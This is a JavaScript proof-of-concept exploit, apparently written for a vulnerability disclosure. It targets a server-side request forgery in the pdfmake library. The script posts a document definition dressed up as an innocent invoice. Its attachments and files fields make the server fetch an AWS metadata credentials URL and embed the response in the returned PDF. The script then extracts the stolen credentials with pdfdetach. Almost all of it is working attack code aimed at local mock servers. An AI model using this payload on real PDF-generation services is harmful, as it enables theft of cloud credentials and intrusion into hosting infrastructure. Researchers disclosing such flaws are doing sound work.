README.md
Rendering markdown...
/**
* SSRF Data Exfiltration PoC for pdfmake
*
* This PoC proves FULL READ SSRF (not just blind SSRF)
*
* Attack flow:
* 1. Send docDefinition with attachments containing attacker-controlled URL
* 2. pdfmake fetches URL via URLResolver → content stored in VFS
* 3. Content gets embedded as PDF attachment
* 4. Attacker downloads PDF → extracts attachment → GETS THE DATA
*
* This proves HIGH severity - not just "request made" but "data exfiltrated"
*/
import fs from 'fs';
import { execSync } from 'child_process';
const VULNERABLE_SERVER = 'http://127.0.0.1:3000';
const METADATA_SERVER = 'http://127.0.0.1:8888';
const METADATA_URL = `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`;
// Attack payload - TWO STEPS:
// 1. "attachments" triggers URL fetch via URLResolver → content stored in VFS
// 2. "files" embeds content from VFS into PDF as attachment
const exfiltrationPayload = {
content: [
{ text: 'Invoice #12345', style: 'header' },
{ text: 'This is a legitimate-looking PDF document.' },
{ text: 'Nothing suspicious here...', margin: [0, 20, 0, 0] }
],
styles: {
header: { fontSize: 18, bold: true }
},
// Step 1: This triggers SSRF - URL is fetched and stored in virtual filesystem
attachments: {
'aws_credentials': {
src: METADATA_URL
}
},
// Step 2: This embeds the fetched content into PDF (reads from VFS using URL as key)
files: {
'stolen_credentials': {
src: METADATA_URL, // Same URL - reads from VFS where content was stored
name: 'metadata.json'
}
}
};
async function runExfiltrationAttack() {
console.log(`
╔═══════════════════════════════════════════════════════════════════╗
║ PDFMAKE SSRF - FULL DATA EXFILTRATION PROOF OF CONCEPT ║
╠═══════════════════════════════════════════════════════════════════╣
║ This proves the attacker can READ the response, not just SSRF ║
║ Severity: HIGH (full read SSRF vs blind SSRF) ║
╚═══════════════════════════════════════════════════════════════════╝
`);
console.log('[1] Sending malicious docDefinition with attachment URL...');
console.log(' Payload uses "attachments" field with AWS metadata URL');
console.log('');
try {
const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(exfiltrationPayload)
});
if (!response.ok) {
const error = await response.text();
console.log(`[-] Server error: ${error}`);
console.log('[!] Note: Check if pdfmake version supports attachments');
return;
}
console.log('[2] PDF generated successfully!');
// Save the PDF
const pdfBuffer = await response.arrayBuffer();
const outputPath = 'exfiltrated.pdf';
fs.writeFileSync(outputPath, Buffer.from(pdfBuffer));
console.log(`[3] Saved PDF to: ${outputPath}`);
// Try to extract attachments
console.log('[4] Extracting attachments from PDF...');
console.log('');
// Use pdfdetach (from poppler-utils) if available
try {
execSync(`pdfdetach -list ${outputPath} 2>/dev/null`, { encoding: 'utf8' });
console.log('[+] PDF contains attachments! Extracting...');
execSync(`pdfdetach -saveall ${outputPath} 2>/dev/null`);
// Read extracted file
if (fs.existsSync('metadata.json')) {
const stolenData = fs.readFileSync('metadata.json', 'utf8');
console.log('');
console.log('╔═══════════════════════════════════════════════════════════════════╗');
console.log('║ EXFILTRATED DATA (PROOF OF FULL READ SSRF) ║');
console.log('╚═══════════════════════════════════════════════════════════════════╝');
console.log(stolenData);
console.log('');
console.log('[+] SUCCESS: AWS credentials were embedded in PDF and extracted!');
console.log('[+] This proves FULL READ SSRF - attacker can access response data!');
}
} catch (e) {
console.log('[!] pdfdetach not found - install poppler-utils to extract');
console.log('[!] Or open exfiltrated.pdf and check attachments manually');
console.log('');
console.log(' macOS: brew install poppler');
console.log(' Linux: apt install poppler-utils');
}
} catch (error) {
console.log(`[-] Connection error: ${error.message}`);
console.log('[!] Make sure both servers are running:');
console.log(' - node vulnerable-server.js (port 3000)');
console.log(' - node mock-metadata-server.js (port 8888)');
}
}
runExfiltrationAttack().catch(console.error);